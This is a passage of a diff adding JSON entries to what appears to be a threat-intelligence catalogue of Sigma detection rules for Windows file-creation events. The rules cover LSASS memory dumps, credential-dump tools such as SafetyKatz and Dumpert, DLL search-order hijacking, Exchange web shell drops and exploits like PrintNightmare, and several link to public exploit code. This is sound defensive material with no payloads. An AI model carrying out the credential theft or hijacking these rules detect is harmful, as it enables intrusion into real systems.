"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_new_shim_database.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ], + "creation_date": "2021/12/29", + "filename": "file_event_win_creation_new_shim_database.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", + "uuid": "97aa2e88-555c-450d-85a6-229bcd87efb8", + "value": "Suspicious Screensaver Binary File Creation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_scr_binary_file.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.002" + ], + "creation_date": "2021/12/29", + "filename": "file_event_win_creation_scr_binary_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64...etc).", + "uuid": "d5866ddf-ce8f-4aea-b28e-d96485a20d3d", + "value": "Files With System Process Name In Unsuspected Locations", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_system_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2020/05/26", + "filename": "file_event_win_creation_system_file.yml", + "author": "Sander Wiebing, Tim Shelton, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "System processes copied outside their default folders for testing purposes", + "Third party software naming their software with the same names as the processes mentioned here" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\nAdversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n", + "uuid": "8c3c76ca-8f8b-4b1d-aaf3-81aebcd367c9", + "value": "Creation Exe for Service with Unquoted Path", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.009/T1574.009.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_unquoted_service_path.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ], + "creation_date": "2021/12/30", + "filename": "file_event_win_creation_unquoted_service_path.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Files with well-known filenames (parts of credential dump software or files produced by them) creation", + "uuid": "8fbf3271-1ef6-4e94-8210-03c2317947f6", + "value": "Cred Dump Tools Dropped Files", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.003", + "attack.t1003.004", + "attack.t1003.005" + ], + "creation_date": "2019/11/01", + "filename": "file_event_win_cred_dump_tools_dropped_files.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate Administrator using tool for password recovery" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe", + "uuid": "002bdb95-0cf1-46a6-9e08-d38c128a6127", + "value": "WScript or CScript Dropper", + "meta": { + "refs": [ + "WScript or CScript Dropper (cea72823-df4d-4567-950c-0b579eaf0846)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cscript_wscript_dropper.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/10", + "filename": "file_event_win_cscript_wscript_dropper.yml", + "author": "Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "When C# is compiled dynamically, a .cmdline file will be created as a part of the process.\nCertain processes are not typically observed compiling C# code, but can do so without touching disk.\nThis can be used to unpack a payload for execution\n", + "uuid": "e4a74e34-ecde-4aab-b2fb-9112dd01aed0", + "value": "Dynamic C Sharp Compile Artefact", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.004/T1027.004.md#atomic-test-2---dynamic-c-compile", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csharp_compile_artefact.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.004" + ], + "creation_date": "2022/01/09", + "filename": "file_event_win_csharp_compile_artefact.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675", + "uuid": "2131cfb3-8c12-45e8-8fa0-31f5924e9f07", + "value": "CVE-2021-1675 Print Spooler Exploitation Filename Pattern", + "meta": { + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/afwu/PrintNightmare", + "https://github.com/cube0x0/CVE-2021-1675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_1675_printspooler.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.resource_development", + "attack.t1587", + "cve.2021.1675" + ], + "creation_date": "2021/06/29", + "filename": "file_event_win_cve_2021_1675_printspooler.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for \ncreation of non-standard files on disk by Exchange Server\u2019s Unified Messaging service\nwhich could indicate dropping web shells or other malicious content\n", + "uuid": "b06335b3-55ac-4b41-937e-16b7f5d57dfd", + "value": "CVE-2021-26858 Exchange Exploitation", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_26858_msexchange.yml" + ], + "tags": [ + "attack.t1203", + "attack.execution", + "cve.2021.26858" + ], + "creation_date": "2021/03/03", + "filename": "file_event_win_cve_2021_26858_msexchange.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", + "uuid": "ad7085ac-92e4-4b76-8ce2-276d2c0e68ef", + "value": "CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", + "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1566", + "attack.t1203", + "cve.2021.33771", + "cve.2021.31979" + ], + "creation_date": "2021/07/16", + "filename": "file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml", + "author": "Sittikorn S", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file", + "uuid": "3be82d5d-09fe-4d6a-a275-0d40d234d324", + "value": "InstallerFileTakeOver LPE CVE-2021-41379 File Create Event", + "meta": { + "refs": [ + "https://github.com/klinix5/InstallerFileTakeOver", + "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_41379_msi_lpe.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2021/11/22", + "filename": "file_event_win_cve_2021_41379_msi_lpe.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown", + "Possibly some Microsoft Edge upgrades" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of \"msiexec.exe\" in the \"bin\" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)", + "uuid": "7b501acf-fa98-4272-aa39-194f82edc8a3", + "value": "CVE-2021-44077 POC Default Dropped File", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", + "https://github.com/horizon3ai/CVE-2021-44077/blob/b7a48e25824e8ead95e028475c7fd0e107e6e6bf/exploit.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_44077_poc_default_files.yml" + ], + "tags": [ + "attack.execution", + "cve.2021.44077" + ], + "creation_date": "2022/06/06", + "filename": "file_event_win_cve_2021_44077_poc_default_files.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache", + "uuid": "e0a41412-c69a-446f-8e6e-0e6d7483dad7", + "value": "CVE-2022-24527 Microsoft Connected Cache LPE", + "meta": { + "refs": [ + "https://www.rapid7.com/blog/post/2022/04/12/cve-2022-24527-microsoft-connected-cache-local-privilege-escalation-fixed/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2022_24527_lpe.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1059.001", + "cve.2022.24527" + ], + "creation_date": "2022/04/13", + "filename": "file_event_win_cve_2022_24527_lpe.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation.\nIn it's default mode, it builds a self deleting .bat file which executes malicious command.\nThe detection rule relies on creation of the malicious bat file (debug.bat by default).\n", + "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b96", + "value": "Powerup Write Hijack DLL", + "meta": { + "refs": [ + "https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_detect_powerup_dllhijacking.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.001" + ], + "creation_date": "2021/08/21", + "filename": "file_event_win_detect_powerup_dllhijacking.yml", + "author": "Subhash Popuri (@pbssubhash)", + "level": "high", + "falsepositive": [ + "Any powershell script that creates bat files" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...)\nbut with a space in order to trick DLL load search order and perform a \"DLL Search Order Hijacking\" attack\n", + "uuid": "b6f91281-20aa-446a-b986-38a92813a18f", + "value": "DLL Search Order Hijackig Via Additional Space in Path", + "meta": { + "refs": [ + "https://twitter.com/cyb3rops/status/1552932770464292864", + "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/07/30", + "filename": "file_event_win_dll_sideloading_space_path.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a file named \"ErrorHandler.cmd\" in the \"C:\\WINDOWS\\Setup\\Scripts\\\" directory which could be used as a method of persistence\nThe content of C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd is read whenever some tools under C:\\WINDOWS\\System32\\oobe\\ (e.g. Setup.exe) fail to run for any reason.\n", + "uuid": "15904280-565c-4b73-9303-3291f964e7f9", + "value": "Persistence Via ErrorHandler.Cmd", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/", + "https://github.com/last-byte/PersistenceSniper", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_error_handler_cmd_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/09", + "filename": "file_event_win_error_handler_cmd_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder", + "uuid": "bd1212e5-78da-431e-95fa-c58e3237a8e6", + "value": "Suspicious ASPX File Drop by Exchange", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", + "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2022/10/01", + "filename": "file_event_win_exchange_webshell_drop.yml", + "author": "Florian Roth (rule), MSTI (query, idea)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious file type dropped by an Exchange component in IIS", + "uuid": "6b269392-9eba-40b5-acb6-55c882b20ba6", + "value": "Suspicious File Drop by Exchange", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", + "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1190", + "attack.initial_access", + "attack.t1505.003" + ], + "creation_date": "2022/10/04", + "filename": "file_event_win_exchange_webshell_drop_suspicious.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects default lsass dump filename from SafetyKatz", + "uuid": "e074832a-eada-4fd7-94a1-10642b130e16", + "value": "SafetyKatz Default Dump Filename", + "meta": { + "refs": [ + "https://github.com/GhostPack/SafetyKatz", + "https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ghostpack_safetykatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2018/07/24", + "filename": "file_event_win_ghostpack_safetykatz.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Rare legitimate files with similar filename structure" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "5d756aee-ad3e-4306-ad95-cb1abec48de2", + "value": "GoToAssist Temporary Installation Artefact", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_gotoopener_artefact.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/13", + "filename": "file_event_win_gotoopener_artefact.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", + "uuid": "93d94efc-d7ad-4161-ad7d-1638c4f908d8", + "value": "Dumpert Process Dumper", + "meta": { + "refs": [ + "https://github.com/outflanknl/Dumpert", + "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hack_dumpert.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2020/02/04", + "filename": "file_event_win_hack_dumpert.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects files written by the different tools that exploit HiveNightmare", + "uuid": "6ea858a8-ba71-4a12-b2cc-5d83312404c7", + "value": "Typical HiveNightmare SAM File Export", + "meta": { + "refs": [ + "https://github.com/GossiTheDog/HiveNightmare", + "https://github.com/FireFart/hivenightmare/", + "https://github.com/WiredPulse/Invoke-HiveNightmare", + "https://twitter.com/cube0x0/status/1418920190759378944", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hivenightmare_file_exports.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001", + "cve.2021.36934" + ], + "creation_date": "2021/07/23", + "filename": "file_event_win_hivenightmare_file_exports.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Files that accidentally contain these strings" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file", + "uuid": "cad1fe90-2406-44dc-bd03-59d0b58fe722", + "value": "NPPSpy Hacktool Usage", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy", + "https://twitter.com/0gtweet/status/1465282548494487554", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml" + ], + "tags": [ + "attack.credential_access" + ], + "creation_date": "2021/11/29", + "filename": "file_event_win_hktl_nppspy.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.", + "uuid": "dbbd9f66-2ed3-4ca2-98a4-6ea985dd1a1c", + "value": "Potential Initial Access via DLL Search Order Hijacking", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc", + "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml" + ], + "tags": [ + "attack.t1566", + "attack.t1566.001", + "attack.initial_access", + "attack.t1574", + "attack.t1574.001", + "attack.defense_evasion" + ], + "creation_date": "2022/10/21", + "filename": "file_event_win_initial_access_dll_search_order_hijacking.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "TeamViewer_Desktop.exe is create during install", + "uuid": "9711de76-5d4f-4c50-a94f-21e4e8f8384d", + "value": "Installation of TeamViewer Desktop", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-1---teamviewer-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_install_teamviewer_desktop.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/01/28", + "filename": "file_event_win_install_teamviewer_desktop.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the presence and execution of Inveigh via dropped artefacts", + "uuid": "bb09dd3e-2b78-4819-8e35-a7c1b874e449", + "value": "Inveigh Execution Artefacts", + "meta": { + "refs": [ + "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs", + "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_inveigh_artefacts.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/10/24", + "filename": "file_event_win_inveigh_artefacts.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a malicious DLL file in the location where the OneDrive or Team applications\nUpon execution of the Teams or OneDrive application, the dropped malicious DLL file (\u201ciphlpapi.dll\u201d) is sideloaded\n", + "uuid": "1908fcc1-1b92-4272-8214-0fbaf2fa5163", + "value": "Malicious DLL File Dropped in the Teams or OneDrive Folder", + "meta": { + "refs": [ + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iphlpapi_dll_sideloading.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/12", + "filename": "file_event_win_iphlpapi_dll_sideloading.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.", + "uuid": "2f9356ae-bf43-41b8-b858-4496d83b2acb", + "value": "ISO File Created Within Temp Folders", + "meta": { + "refs": [ + "https://twitter.com/Sam0x90/status/1552011547974696960", + "https://securityaffairs.co/wordpress/133680/malware/dll-sideloading-spread-qakbot.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_mount.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2022/07/30", + "filename": "file_event_win_iso_file_mount.yml", + "author": "@sam0x90", + "level": "high", + "falsepositive": [ + "Potential FP by sysadmin opening a zip file containing a legitimate ISO file" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks.\nThis can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.\n", + "uuid": "4358e5a5-7542-4dcb-b9f3-87667371839b", + "value": "ISO or Image Mount Indicator in Recent Files", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", + "https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/", + "https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/11", + "filename": "file_event_win_iso_file_recent.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Cases in which a user mounts an image file for legitimate reasons" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects programs on a Windows system that should not write an archive to disk", + "uuid": "654fcc6d-840d-4844-9b07-2c3300e54a26", + "value": "Legitimate Application Dropped Archive", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_archive.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/21", + "filename": "file_event_win_legitimate_app_dropping_archive.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects programs on a Windows system that should not write executables to disk", + "uuid": "f0540f7e-2db3-4432-b9e0-3965486744bc", + "value": "Legitimate Application Dropped Executable", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_exe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/21", + "filename": "file_event_win_legitimate_app_dropping_exe.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects programs on a Windows system that should not write scripts to disk", + "uuid": "7d604714-e071-49ff-8726-edeb95a70679", + "value": "Legitimate Application Dropped Script", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_script.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/21", + "filename": "file_event_win_legitimate_app_dropping_script.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects file names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials", + "uuid": "a5a2d357-1ab8-4675-a967-ef9990a59391", + "value": "LSASS Process Memory Dump Files", + "meta": { + "refs": [ + "https://www.google.com/search?q=procdump+lsass", + "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf", + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml", + "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", + "https://github.com/helpsystems/nanodump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2021/11/15", + "filename": "file_event_win_lsass_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified", + "uuid": "5e3d3601-0662-4af0-b1d2-36a05e90c40a", + "value": "LSASS Memory Dump File Creation", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_memory_dump_file_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/10/22", + "filename": "file_event_win_lsass_memory_dump_file_creation.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "high", + "falsepositive": [ + "Dumping lsass memory for forensic investigation purposes by legitimate incident responder or forensic invetigator", + "Dumps of another process that contains lsass in its process name (substring)" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects WerFault creating a dump file with a 